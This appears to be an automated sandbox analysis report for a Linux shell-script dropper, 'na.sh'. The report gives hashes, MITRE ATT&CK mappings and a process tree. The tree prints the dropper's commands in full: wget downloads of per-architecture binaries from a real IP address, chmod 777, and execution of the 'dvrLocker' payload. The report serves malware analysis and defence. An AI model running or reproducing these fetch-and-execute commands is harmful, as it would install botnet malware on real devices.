e9237f2e230a2df58f151a4ba3086620c516c494d1ec89641be907150d5a619c

Analysis

max time kernel
124s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
15/10/2024, 12:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
na.sh
Size 377B
Sample241015-py23javdpg
SHA256 e9237f2e230a2df58f151a4ba3086620c516c494d1ec89641be907150d5a619c
MD5 7ed1f467ebc618e6e05fddd528231b5d
SHA1 5c37c4331e1e2da6ddd00f6a4bc80388822bd6f0
SHA512 22a1484ddeb7ef5f0b497b5a1fdeb2b6f6bf59842953d3382f4caa484609bb1ffbc11076c1a3a6973d447a4575af42becfd3fd744df6488791d31c89129ff092
MD5 SHA1 SHA512

Score

7^/10

credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
737	chmod
748	chmod
758	chmod
765	chmod
714	chmod
732	chmod

Deletes itself 1 IoCs

pid	Process
733	dvrLocker

Executes dropped EXE 6 IoCs

ioc	pid	Process
/dvrLocker	716	dvrLocker
/dvrLocker	733	dvrLocker
/dvrLocker	741	dvrLocker
/dvrLocker	749	dvrLocker
/dvrLocker	760	dvrLocker
/dvrLocker	766	dvrLocker

Enumerates running processes
Discovers information about currently running processes on the system

Reads process memory 1 TTPs 4 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/378/maps	dvrLocker
File opened for reading	/proc/379/maps	dvrLocker
File opened for reading	/proc/506/maps	dvrLocker
File opened for reading	/proc/507/maps	dvrLocker

Changes its process name 1 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	733	dvrLocker

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/987/cmdline	dvrLocker
File opened for reading	/proc/24/cmdline	dvrLocker
File opened for reading	/proc/809/cmdline	dvrLocker
File opened for reading	/proc/857/cmdline	dvrLocker
File opened for reading	/proc/324/cmdline	dvrLocker
File opened for reading	/proc/776/cmdline	dvrLocker
File opened for reading	/proc/947/cmdline	dvrLocker
File opened for reading	/proc/973/cmdline	dvrLocker
File opened for reading	/proc/791/cmdline	dvrLocker
File opened for reading	/proc/816/cmdline	dvrLocker
File opened for reading	/proc/849/cmdline	dvrLocker
File opened for reading	/proc/855/cmdline	dvrLocker
File opened for reading	/proc/874/cmdline	dvrLocker
File opened for reading	/proc/698/cmdline	dvrLocker
File opened for reading	/proc/808/cmdline	dvrLocker
File opened for reading	/proc/831/cmdline	dvrLocker
File opened for reading	/proc/906/cmdline	dvrLocker
File opened for reading	/proc/923/status	dvrLocker
File opened for reading	/proc/903/cmdline	dvrLocker
File opened for reading	/proc/916/cmdline	dvrLocker
File opened for reading	/proc/920/cmdline	dvrLocker
File opened for reading	/proc/980/cmdline	dvrLocker
File opened for reading	/proc/3/cmdline	dvrLocker
File opened for reading	/proc/755/cmdline	dvrLocker
File opened for reading	/proc/782/cmdline	dvrLocker
File opened for reading	/proc/959/cmdline	dvrLocker
File opened for reading	/proc/771/cmdline	dvrLocker
File opened for reading	/proc/772/cmdline	dvrLocker
File opened for reading	/proc/912/cmdline	dvrLocker
File opened for reading	/proc/884/cmdline	dvrLocker
File opened for reading	/proc/940/cmdline	dvrLocker
File opened for reading	/proc/72/cmdline	dvrLocker
File opened for reading	/proc/789/cmdline	dvrLocker
File opened for reading	/proc/797/cmdline	dvrLocker
File opened for reading	/proc/885/cmdline	dvrLocker
File opened for reading	/proc/905/cmdline	dvrLocker
File opened for reading	/proc/995/cmdline	dvrLocker
File opened for reading	/proc/78/cmdline	dvrLocker
File opened for reading	/proc/708/cmdline	dvrLocker
File opened for reading	/proc/761/cmdline	dvrLocker
File opened for reading	/proc/936/cmdline	dvrLocker
File opened for reading	/proc/951/cmdline	dvrLocker
File opened for reading	/proc/799/cmdline	dvrLocker
File opened for reading	/proc/842/cmdline	dvrLocker
File opened for reading	/proc/921/cmdline	dvrLocker
File opened for reading	/proc/819/cmdline	dvrLocker
File opened for reading	/proc/845/cmdline	dvrLocker
File opened for reading	/proc/873/cmdline	dvrLocker
File opened for reading	/proc/924/cmdline	dvrLocker
File opened for reading	/proc/37/cmdline	dvrLocker
File opened for reading	/proc/105/cmdline	dvrLocker
File opened for reading	/proc/800/cmdline	dvrLocker
File opened for reading	/proc/806/cmdline	dvrLocker
File opened for reading	/proc/888/cmdline	dvrLocker
File opened for reading	/proc/896/cmdline	dvrLocker
File opened for reading	/proc/908/cmdline	dvrLocker
File opened for reading	/proc/944/cmdline	dvrLocker
File opened for reading	/proc/22/cmdline	dvrLocker
File opened for reading	/proc/757/cmdline	dvrLocker
File opened for reading	/proc/804/cmdline	dvrLocker
File opened for reading	/proc/969/cmdline	dvrLocker
File opened for reading	/proc/735/cmdline	dvrLocker
File opened for reading	/proc/747/cmdline	dvrLocker
File opened for reading	/proc/837/cmdline	dvrLocker

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
719	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0	na.sh

/tmp/na.sh
/tmp/na.sh
1⤵
- Writes file to tmp directory
PID:699
- /bin/rm
  rm -rf dvrLocker
  2⤵
  PID:701
- /usr/bin/wget
  wget http://185.157.247.125/c/empsl -O -
  2⤵
  PID:704
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:716
- /usr/bin/wget
  wget http://185.157.247.125/c/emips -O -
  2⤵
  - System Network Configuration Discovery
  PID:719
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Reads process memory
  - Changes its process name
  - Reads runtime system information
  PID:733
- /usr/bin/wget
  wget http://185.157.247.125/c/earm -O -
  2⤵
  PID:735
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/sh
  /bin/sh ./dvrLocker tplink.new
  2⤵
  PID:741
- /usr/bin/wget
  wget http://185.157.247.125/c/earm5 -O -
  2⤵
  PID:747
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/sh
  /bin/sh ./dvrLocker tplink.new
  2⤵
  PID:749
- /usr/bin/wget
  wget http://185.157.247.125/c/earm7 -O -
  2⤵
  PID:752
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/sh
  /bin/sh ./dvrLocker tplink.new
  2⤵
  PID:760
- /usr/bin/wget
  wget http://185.157.247.125/c/ex86 -O -
  2⤵
  PID:764
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:766
- /bin/sh
  /bin/sh ./dvrLocker tplink.new
  2⤵
  PID:766

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dvrLocker

Path /dvrLocker
Size 41KB
SHA256 8c825ecd4fff08b44d8334e022dc0d6eedbe9a1b61469e523025d7968be2e84d
MD5 3cfc76868e26201ac03e0583b7c8aaba
SHA1 03436d9d090e1f944fecf60adc1e45f90df20c26
SHA512 84add49907a7c8818abc31118e16e8becf3bb41bcf814139fe0c99617b9ff46dc228be8a319e3fd80f0a672bc056cb30bb75ff0a4ed03418cd06cc95ef5070b2
SSDEEP 768:cuyGpN8ltsqPr4PP3eH3ueyQ4VDYRHNXzu4C1Xi55a3+uC5R:cuL8jslu3u3QSYRHNXzuFr3
MD5 SHA1 SHA512 SSDEEP

Submit Download